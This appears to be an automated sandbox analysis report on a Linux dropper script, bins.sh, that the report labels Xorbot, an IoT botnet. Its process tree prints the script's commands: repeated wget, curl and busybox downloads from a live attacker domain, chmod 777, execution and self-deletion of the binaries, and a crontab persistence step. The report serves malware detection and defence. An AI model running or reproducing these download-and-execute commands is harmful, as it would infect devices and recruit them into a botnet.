Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    28/02/2025, 09:00

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    6fabcc812d0922db6c4f85ee41554bb8

  • SHA1

    6990196753003a0019eb7fd54ce7669dc28e1ce2

  • SHA256

    ffb51619f1efb0f87e5e75e7cd498cd8d80c049d07b821f83b3385cad45acb84

  • SHA512

    c73c9f0896fd6274600bda9d0f047435578793c2ad71e2be682c615afff82b0dc09bfe59fbfe4904b9d15ab1247a6310ebd1f324f15479aac96fef76af9953d3

  • SSDEEP

    192:CFj0rsk8cNUkQceCrt5H1l8dJ7t5lAk8IUkQceCzS:CB05NUkQceCj1edPUkQceC2

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 23 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1519
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1520
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1521
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1525
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1527
      • /bin/chmod
        chmod 777 6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
        2⤵
        • File and Directory Permissions Modification
        PID:1528
      • /tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
        ./6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
        2⤵
          PID:1529
        • /bin/rm
          rm 6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
          2⤵
            PID:1531
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1532
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1533
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1535
          • /bin/chmod
            chmod 777 HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
            2⤵
            • File and Directory Permissions Modification
            PID:1536
          • /tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
            ./HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
            2⤵
              PID:1537
            • /bin/rm
              rm HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
              2⤵
                PID:1539
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1540
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1541
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1543
              • /bin/chmod
                chmod 777 hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
                2⤵
                • File and Directory Permissions Modification
                PID:1544
              • /tmp/hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
                ./hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
                2⤵
                  PID:1545
                • /bin/rm
                  rm hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
                  2⤵
                    PID:1547
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1548
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1549
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1551
                  • /bin/chmod
                    chmod 777 fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1552
                  • /tmp/fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
                    ./fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
                    2⤵
                      PID:1553
                    • /bin/rm
                      rm fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo
                      2⤵
                        PID:1555
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:1556
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:1557
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:1559
                      • /bin/chmod
                        chmod 777 lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1560
                      • /tmp/lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
                        ./lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
                        2⤵
                          PID:1561
                        • /bin/rm
                          rm lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm
                          2⤵
                            PID:1563
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/m0Byu4Vrxw9NV6Wp5Oh2lGe3F7TgOTrlAM
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:1564
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/m0Byu4Vrxw9NV6Wp5Oh2lGe3F7TgOTrlAM
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:1565
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/m0Byu4Vrxw9NV6Wp5Oh2lGe3F7TgOTrlAM
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:1567
                          • /bin/chmod
                            chmod 777 m0Byu4Vrxw9NV6Wp5Oh2lGe3F7TgOTrlAM
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1568
                          • /tmp/m0Byu4Vrxw9NV6Wp5Oh2lGe3F7TgOTrlAM
                            ./m0Byu4Vrxw9NV6Wp5Oh2lGe3F7TgOTrlAM
                            2⤵
                              PID:1569
                            • /bin/rm
                              rm m0Byu4Vrxw9NV6Wp5Oh2lGe3F7TgOTrlAM
                              2⤵
                                PID:1571
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/xl2vCrRIUGYNuE9w1OgA10miP9PZgjPj6s
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:1572
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/xl2vCrRIUGYNuE9w1OgA10miP9PZgjPj6s
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:1573
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/xl2vCrRIUGYNuE9w1OgA10miP9PZgjPj6s
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:1575
                              • /bin/chmod
                                chmod 777 xl2vCrRIUGYNuE9w1OgA10miP9PZgjPj6s
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1576
                              • /usr/bin/crontab
                                crontab -l
                                2⤵
                                  PID:1580
                                • /usr/bin/crontab
                                  crontab -
                                  2⤵
                                  • Creates/modifies Cron job
                                  PID:1582
                                • /bin/rm
                                  rm xl2vCrRIUGYNuE9w1OgA10miP9PZgjPj6s
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:1584
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/ELV315yAbk4nBmaxzbtTLyd7N1itVvqsYm
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:1587

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /tmp/fteLaEMbvpN4kzrOHH0dPI87QE9wFCzVmo

                                Filesize

                                111KB

                                MD5

                                ca897a38f23ec23521ce0b1b83f8422d

                                SHA1

                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                SHA256

                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                SHA512

                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                              • /tmp/hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt

                                Filesize

                                119KB

                                MD5

                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                SHA1

                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                SHA256

                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                SHA512

                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                              • /tmp/lgNJQN1ccf8TRZwxVmdUu3T8uFZBTaIatm

                                Filesize

                                107KB

                                MD5

                                eb9c3a0de91fcf16ba17cb24608df68c

                                SHA1

                                09d95a7d70d5e115d103be51edff7c498d272fac

                                SHA256

                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                SHA512

                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                              • /tmp/m0Byu4Vrxw9NV6Wp5Oh2lGe3F7TgOTrlAM

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /tmp/xl2vCrRIUGYNuE9w1OgA10miP9PZgjPj6s

                                Filesize

                                98KB

                                MD5

                                5141342d0df8699fa32a6b066a0c592e

                                SHA1

                                8157673225bd5182f16215e2aa823a25ca2d4fbc

                                SHA256

                                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                SHA512

                                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                              • /var/spool/cron/crontabs/tmp.YAXaXO

                                Filesize

                                210B

                                MD5

                                264457181ed4988b2ee5bd020a9ca503

                                SHA1

                                2fbbd769fe5b82a950961b192bac8e3eda18cf6f

                                SHA256

                                5e2198a750daeab2a302b2163dcec976ac0904c777e32387aa1f3777d376a77f

                                SHA512

                                24121c1180788ffbc568649bbd101eeeaff70db28d069893143ecbf8a99e04a5e9eee98d10fe4883e1d8541e68092669af9be9bd8def5151cff7e45b0fd0203b